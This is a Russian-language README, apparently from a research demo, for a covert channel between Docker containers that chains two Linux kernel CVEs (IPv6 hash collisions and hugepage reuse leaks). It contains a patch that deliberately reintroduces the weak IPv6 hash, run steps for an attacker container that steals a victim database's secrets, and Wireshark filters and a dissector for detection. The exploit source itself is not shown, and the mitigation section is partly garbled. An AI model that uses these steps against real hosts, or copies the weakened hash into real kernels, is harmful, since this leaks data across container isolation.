
3 цепочки багов ядра linux для создания защищенного коммуникационного приложения с использованием побочного канала для установки ключа и создания скрытого канала;
Этот проект демонстрирует скрытый канал связи с использованием двух уязвимостей ядра Linux:
| Компонент | CVE | Назначение |
|---|---|---|
| Канал синхронизации | CVE-2023-1206 | Синхронизация времени через измерение коллизий хеша IPv6 |
| Канал данных | CVE-2024-49882 | Передача данных между контейнерами через утечки hugepage |
┌─────────────────────────────────────────────────────────────────────┐
│ НЕЗАШИФРОВАННЫЙ СКРЫТЫЙ КАНАЛ │
├─────────────────────────────────────────────────────────────────────┤
│ Контейнер A (Отправитель) Контейнер B (Получатель) │
│ ┌─────────────────┐ ┌─────────────────┐ │
│ │ 1. Запись данных│ │ 4. Обнаружение │ │
│ │ в hugepage │ │ преамбулы │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ Коллизия ┌─────────────────┐ │
│ │ 2. Отправка │──хеша IPv6──▶│ 5. Измерение │ │
│ │ преамбулы │ Время │ задержки │ │
│ └────────┬────────┘ └────────┬────────┘ │
│ │ │ │
│ ▼ ▼ │
│ ┌─────────────────┐ Повторное ┌─────────────────┐ │
│ │ 3. Освобождение │──использование──▶│ 6. Захват │ │
│ │ hugepage │ hugepage │ утекших │ │
│ └─────────────────┘ │ данных │ │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────────────────┘
Вам потребуется ядро 6.12 с воспроизведённой уязвимостью:
# Клонирование исходников ядра
cd ~
git clone --depth=1 --branch v6.12 https://github.com/torvalds/linux.git linux-6.12
cd linux-6.12
# Применение патча уязвимости
cat << 'EOF' > /tmp/vuln_patch.patch
--- a/include/net/ipv6.h
+++ b/include/net/ipv6.h
@@ -750,7 +750,12 @@ static inline u32 ipv6_addr_hash(const struct in6_addr *a)
/* more secured version of ipv6_addr_hash() */
static inline u32 __ipv6_addr_jhash(const struct in6_addr *a, const u32 initval)
{
- return jhash2((__force const u32 *)a->s6_addr32, 4, initval);
+ u32 v = (__force u32)a->s6_addr32[0] ^ (__force u32)a->s6_addr32[1];
+
+ return jhash_3words(v,
+ (__force u32)a->s6_addr32[2],
+ (__force u32)a->s6_addr32[3],
+ initval);
}
EOF
patch -p1 < /tmp/vuln_patch.patch
# Сборка и установка
cp /boot/config-$(uname -r) .config
make olddefconfig
make -j$(nproc)
sudo make modules_install
sudo make install
sudo update-grub
# Перезагрузка в уязвимое ядро
sudo reboot
# Выделение hugepages
echo 256 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
# Проверка
cat /sys/kernel/mm/hugepages/hugepages-2048kB/free_hugepages
# Загрузка модуля udmabuf
sudo modprobe udmabuf
# Проверка существования /dev/udmabuf
ls -la /dev/udmabuf
# Установка Docker с поддержкой IPv6
sudo apt-get update
sudo apt-get install -y docker.io docker-compose
# Включение IPv6 в Docker
sudo cat > /etc/docker/daemon.json << 'EOF'
{
"ipv6": true,
"fixed-cidr-v6": "fd00::/80",
"experimental": true,
"ip6tables": true
}
EOF
sudo systemctl restart docker
cd ~/covert_channel
# Сборка на хосте
make
# Сборка Docker-контейнеров
docker-compose build
# Запуск теста коллизий
./test_collision
# Ожидаемый вывод:
# [VULNERABLE] All addresses hash to same value!
# [CRITICAL] ALL 1M addresses landed in ONE bucket!
# Терминал 1: Запуск базы данных жертвы
docker-compose up victim_db
# Терминал 2: Запуск атакующего
docker-compose run --rm attacker
# Внутри контейнера:
cd /exploit
./exploit_debug
# Терминал 3: Остановка жертвы для запуска утечки
docker stop victim_db
# Наблюдайте за терминалом 2 — там появятся украденные секреты!
# Терминал 1: Запуск получателя
docker-compose run --rm receiver
cd /exploit
./covert_channel -r
# Терминал 2: Запуск отправителя
docker-compose run --rm sender
cd /exploit
./covert_channel -s "СЕКРЕТНОЕ СООБЩЕНИЕ ИЗ КОНТЕЙНЕРА A"
# Наблюдайте за терминалом 1 — сообщение будет получено!
# На хосте захват трафика моста Docker
sudo tcpdump -i docker0 -w covert_channel.pcap
# Или захват конкретной сети
sudo tcpdump -i br-$(docker network ls -q -f name=covert_net) -w covert.pcap
# Фильтр для канала синхронизации (IPv6 TCP SYN flood)
ipv6 && tcp.flags.syn == 1 && tcp.flags.ack == 0
# Фильтр для трафика в конкретную корзину коллизий
ipv6.dst contains 20:01:0d:b8
# Фильтр по порту
tcp.port == 31337
# Показать только попытки соединения (без данных)
tcp.len == 0 && tcp.flags.syn == 1
# Анализ по времени (соединений в секунду)
# Statistics -> I/O Graphs -> Y Axis: Packets/s
Преамбула синхронизации: Чередующиеся всплески SYN-пакетов
Временной паттерн:
Паттерн адресов IPv6:
Сохраните как ~/.local/lib/wireshark/plugins/covert_channel.lua:
-- Covert Channel Dissector for CVE-2023-1206
local covert_proto = Proto("covert_sync", "CVE-2023-1206 Covert Sync")
local f_collision = ProtoField.bool("covert.collision", "Hash Collision")
local f_bucket = ProtoField.uint32("covert.bucket", "Target Bucket", base.HEX)
covert_proto.fields = { f_collision, f_bucket }
function covert_proto.dissector(buffer, pinfo, tree)
-- Check for IPv6 TCP SYN
if pinfo.ipv6_src and pinfo.match_uint("tcp.flags", 0x02) then
local src = pinfo.ipv6_src
-- Check for collision pattern
local a0 = src:get_bytes(0, 4)
local a1 = src:get_bytes(4, 4)
-- XOR check would go here
local subtree = tree:add(covert_proto, buffer())
subtree:add(f_collision, true)
end
end
-- Register for TCP
local tcp_table = DissectorTable.get("tcp.port")
tcp_table:add(31337, covert_proto)
# График частоты пакетов в реальном времени
tshark -i docker0 -f "tcp port 31337" -q -z io,stat,0.1
# Извлечение данных о времени для построения графика
tshark -r covert.pcap -T fields -e frame.time_relative -e ipv6.src \
-Y "tcp.flags.syn==1" > timing_data.csv
# Построение графика с помощью gnuplot
gnuplot << 'EOF'
set terminal png size 1200,400
set output 'timing_channel.png'
set xlabel 'Time (s)'
set ylabel 'Packets'
set title 'CVE-2023-1206 Covert Sync Channel'
plot 'timing_data.csv' using 1:(1) smooth frequency with impulses
EOF
# Проверка текущего выделения
cat /proc/meminfo | grep Huge
# Увеличение выделения
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
# Если не сработало, попробуйте сбросить кеши
sync; echo 3 | sudo tee /proc/sys/vm/drop_caches
echo 512 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages
# Загрузка модуля
sudo modprobe udmabuf
# Если отсутствует, возможно, нужно включить в конфигурации ядра
# CONFIG_UDMABUF=m
# Создание устройства, если отсутствует
sudo mknod /dev/udmabuf c 10 $(cat /proc/misc | grep udmabuf | cut -f1 -d' ')
# Включение маршрутизации IPv6
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# Проверка сети Docker
docker network inspect covert_net | grep -A5 IPv6
# Пересоздание сети с IPv6
docker-compose down
docker network rm covert_channel_covert_net
docker-compose up
# Увеличение длительности бита для более надёжного обнаружения
# Отредактируйте covert_channel.c:
#define SYNC_BIT_DURATION_MS 200 # Увеличьте со 100
# Увеличьте порог при ложных срабатываниях
#define SYNC_THRESHOLD 3.0 # Увеличьте с 2.0
Это демонстрирует несколько серьёзных проблем безопасности:
echo 0 > /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages--security-opt=no-new-privileges в Dockerd11b0df7ddf1831f3e170972f43186dad520bfcc| Файл | Описание |
|---|
covert_channel.c | Объединённый канал синхронизации + данных |
exploit_debug.c | Только канал данных CVE-2024-49882 |
test_collision.c | Проверка CVE-2023-1206 |
timing_channel.c | Демонстрация канала синхронизации |
docker-compose.yml | Настройка контейнеров |
Dockerfile.* | Файлы сборки контейнеров |